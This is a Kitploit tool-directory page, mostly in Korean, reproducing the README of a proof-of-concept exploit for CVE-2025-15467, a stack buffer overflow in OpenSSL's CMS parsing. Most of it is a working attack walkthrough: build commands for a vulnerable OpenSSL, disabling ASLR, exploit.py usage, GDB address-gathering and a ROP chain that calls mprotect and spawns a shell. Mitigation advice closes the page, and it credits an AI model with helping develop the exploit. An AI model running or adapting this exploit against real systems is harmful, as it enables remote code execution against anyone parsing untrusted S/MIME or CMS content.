Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-15467 — OpenSSL 스택 버퍼 오버플로우 CVE-2025-15467에 대한 명령 실행 PoC | Kitploit
도구/GitHubGitHub/guiimoraes/cve-2025-15467
Vulnerability AnalysisExploitationReverse EngineeringShellcodeCryptographyLearning & EducationPayload DevelopmentBinary Exploitation
GitHubguiimoraes/cve-2025-15467

CVE-2025-15467

OpenSSL 스택 버퍼 오버플로우 CVE-2025-15467에 대한 명령 실행 PoC

저장소 보기
15346개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-15467: OpenSSL CMS AuthEnvelopedData 스택 버퍼 오버플로우

개요

CVE-2025-15467는 OpenSSL의 CMS(암호화 메시지 구문) 파싱 코드에서 발견된 치명적인 스택 버퍼 오버플로우 취약점입니다. 이 취약점은 CMS AuthEnvelopedData 구조에서 AES-GCM 초기화 벡터(IV)를 처리할 때 evp_cipher_get_asn1_aead_params() 함수에 존재합니다.

속성값
CVE IDCVE-2025-15467
심각도높음
CVSS8.1+
영향받는 버전OpenSSL 3.0 - 3.6 (패치 이전)
영향원격 코드 실행 (RCE)
공격 벡터네트워크 (악성 CMS/S-MIME 파싱)
인증필요 없음

취약점 세부 정보

근본 원인

취약점은 crypto/evp/evp_lib.c에 있습니다:

root@kitploit:~
int evp_cipher_get_asn1_aead_params(EVP_CIPHER_CTX *c, ASN1_TYPE *type,
                                    evp_cipher_aead_asn1_params *asn1_params)
{
    int i = 0;
    long tl;
    unsigned char iv[EVP_MAX_IV_LENGTH];  // Fixed 16-byte buffer!

    if (type == NULL || asn1_params == NULL)
        return 0;

    i = ossl_asn1_type_get_octetstring_int(type, &tl, NULL, EVP_MAX_IV_LENGTH);
    if (i <= 0)
        return -1;
    
    // BUG: Uses 'i' (attacker-controlled) as max_len instead of EVP_MAX_IV_LENGTH
    ossl_asn1_type_get_octetstring_int(type, &tl, iv, i);  // OVERFLOW!

    memcpy(asn1_params->iv, iv, i);
    asn1_params->iv_len = i;

    return i;
}

버그

  1. iv는 고정된 16바이트 스택 버퍼입니다 (EVP_MAX_IV_LENGTH = 16)
  2. ossl_asn1_type_get_octetstring_int()에 대한 첫 번째 호출은 파일로부터 IV 길이를 반환합니다
  3. 두 번째 호출은 이 길이(i)를 max_len 매개변수로 사용합니다
  4. i > 16인 경우 함수는 버퍼를 초과하여 씁니다 → 스택 버퍼 오버플로우

익스플로잇

오버플로우는 CMS 복호화 중 GCM 매개변수를 파싱할 때 발생합니다. 공격자는 다음을 수행할 수 있습니다:

  1. 과도하게 큰 IV를 가진 악성 CMS AuthEnvelopedData 파일을 제작
  2. 스택 버퍼를 오버플로우하여 반환 주소를 덮어씀
  3. 실행을 공격자가 제어하는 셸코드로 리디렉션
  4. 원격 코드 실행 달성

영향받는 애플리케이션

AEAD 암호로 신뢰할 수 없는 CMS/PKCS#7 콘텐츠를 파싱하는 모든 애플리케이션:

  • S/MIME 메시지를 처리하는 이메일 클라이언트
  • 문서 서명 애플리케이션
  • 인증서 관리 도구
  • CMS를 사용하는 VPN/TLS 구현
  • CMS_decrypt() 또는 유사한 함수를 호출하는 모든 소프트웨어

개념 증명

사전 요구 사항

root@kitploit:~
# Install dependencies
pip install pwntools  # Optional, for auto gadget detection

# Clone this repository
git clone https://github.com/guiimoraes/CVE-2025-15467.git
cd CVE-2025-15467

# Run setup script to compile vulnerable OpenSSL
chmod +x setup.sh
./setup.sh

Or manually:

root@kitploit:~
# Download and compile vulnerable OpenSSL 3.4.0
wget https://www.openssl.org/source/openssl-3.4.0.tar.gz
tar -xzf openssl-3.4.0.tar.gz
cd openssl-3.4.0

# Compile WITHOUT stack protector for easier demonstration
./Configure linux-x86_64 \
    --prefix=/opt/openssl-vuln \
    -fno-stack-protector \
    -D_FORTIFY_SOURCE=0 \
    -z execstack

make -j$(nproc)
sudo make install
cd ..

테스트 인증서 생성

root@kitploit:~
export LD_LIBRARY_PATH=/opt/openssl-vuln/lib64

# Generate key and certificate
/opt/openssl-vuln/bin/openssl genrsa -out dummy.key 2048
/opt/openssl-vuln/bin/openssl req -new -x509 -key dummy.key -out dummy.crt \
    -days 1 -subj "/CN=Test"

# Create valid CMS file (needed as template)
echo "test" > plain.txt
/opt/openssl-vuln/bin/openssl cms -encrypt -aes-256-gcm \
    -in plain.txt -out valid.cms -outform DER dummy.crt

# Verify it works
/opt/openssl-vuln/bin/openssl cms -decrypt -in valid.cms -inform DER \
    -inkey dummy.key -recip dummy.crt

방법 1: 자동 모드 (권장)

익스플로잇은 ASLR이 비활성화된 경우 주소를 자동으로 감지할 수 있습니다:

root@kitploit:~
# Disable ASLR (requires root)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Run exploit with auto-detection
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 python3 exploit.py --auto \
    /opt/openssl-vuln/bin/openssl valid.cms dummy.key dummy.crt

# Execute the exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

# You should get a shell!

방법 2: 수동 주소 (GDB 사용)

자동 감지가 실패하면 수동으로 주소를 확인하세요:

root@kitploit:~
# Get addresses from GDB
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 gdb -q /opt/openssl-vuln/bin/openssl

(gdb) break main
(gdb) run cms -decrypt -in valid.cms -inform DER -inkey dummy.key -recip dummy.crt
(gdb) info proc mappings   # Get libc and libcrypto base addresses
(gdb) continue
(gdb) # When it hits evp_cipher_get_asn1_aead_params:
(gdb) print/x $rsp         # Get stack address

Example output:

root@kitploit:~
libc-2.31.so:     0x7ffff7711000
libcrypto.so.3:   0x7ffff7936000
RSP:              0x7fffffffdc58

Then generate the exploit:

root@kitploit:~
# Generate exploit with manual addresses
# Arguments: <libcrypto_base> <libc_base> <stack_addr> [valid.cms]
python3 exploit.py 0x7ffff7936000 0x7ffff7711000 0x7fffffffdc58 valid.cms

# Run exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

익스플로잇 작동 방식

  1. 유효 CMS 패치: 유효한 CMS 파일을 가져와 12바이트 IV를 악성 페이로드로 대체
  2. 스택 오버플로우: 과도하게 큰 IV가 16바이트 버퍼를 오버플로우하여 저장된 레지스터와 반환 주소를 덮어씀
  3. ROP 체인: ROP(Return-Oriented Programming)를 사용하여 mprotect()를 호출하고 스택을 실행 가능하게 만듦
  4. 셸코드 실행: mprotect() 이후 jmp rsp 가젯을 통해 스택의 셸코드로 점프
  5. 셸: execve("/bin/sh", NULL, NULL)을 실행하여 셸을 생성

ROP 체인 구조

root@kitploit:~
[padding: 56 bytes to reach saved RIP]
[pop rdi; ret]        <- Set RDI = stack_page (for mprotect arg1)
[stack_page address]
[pop rsi; ret]        <- Set RSI = 0x1000 (for mprotect arg2)
[0x1000]
[pop rdx; pop rbx; ret] <- Set RDX = 7 (PROT_RWX for mprotect arg3)
[7]
[0]                   <- Dummy for RBX
[mprotect]            <- Call mprotect(stack_page, 0x1000, 7)
[jmp rsp]             <- Jump to shellcode
[shellcode]           <- execve("/bin/sh", NULL, NULL)

파일

파일설명
exploit.py주요 익스플로잇, 자동 탐지 및 수동 모드 포함
setup.sh취약한 OpenSSL 컴파일 스크립트
README.md이 문서
TECHNICAL.md취약점에 대한 기술적 심층 분석

완화 조치

사용자용

  1. OpenSSL 업데이트 패치된 버전으로:

    • OpenSSL 3.6.1+
    • OpenSSL 3.5.5+
    • OpenSSL 3.4.4+
    • OpenSSL 3.3.6+
    • OpenSSL 3.0.19+
  2. 신뢰할 수 없는 CMS/S-MIME 콘텐츠를 처리하지 마십시오 패치될 때까지

개발자용

  1. IV 길이를 복사하기 전에 검증:
root@kitploit:~
if (i > EVP_MAX_IV_LENGTH)
    return -1;
  1. 두 번째 호출에서 올바른 max_len 사용:
root@kitploit:~
ossl_asn1_type_get_octetstring_int(type, &tl, iv, EVP_MAX_IV_LENGTH);

타임라인

날짜이벤트
2025-12-14취약점 OpenSSL에 보고
2026-01-27보안 권고 게시
2026-01-27패치 출시

참고 자료

  • OpenSSL Security Advisory
  • CVE-2025-15467

크레딧

  • Guilherme Moraes (@guiimoraes) - 익스플로잇 개발
  • Claude Opus 4.5 (Anthropic) - AI 지원 연구 및 개발

면책 조항

이 개념 증명은 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 책임감 있게 사용하십시오.

라이선스

MIT 라이선스 - 자세한 내용은 LICENSE 파일을 참조하십시오.

도구 다운로드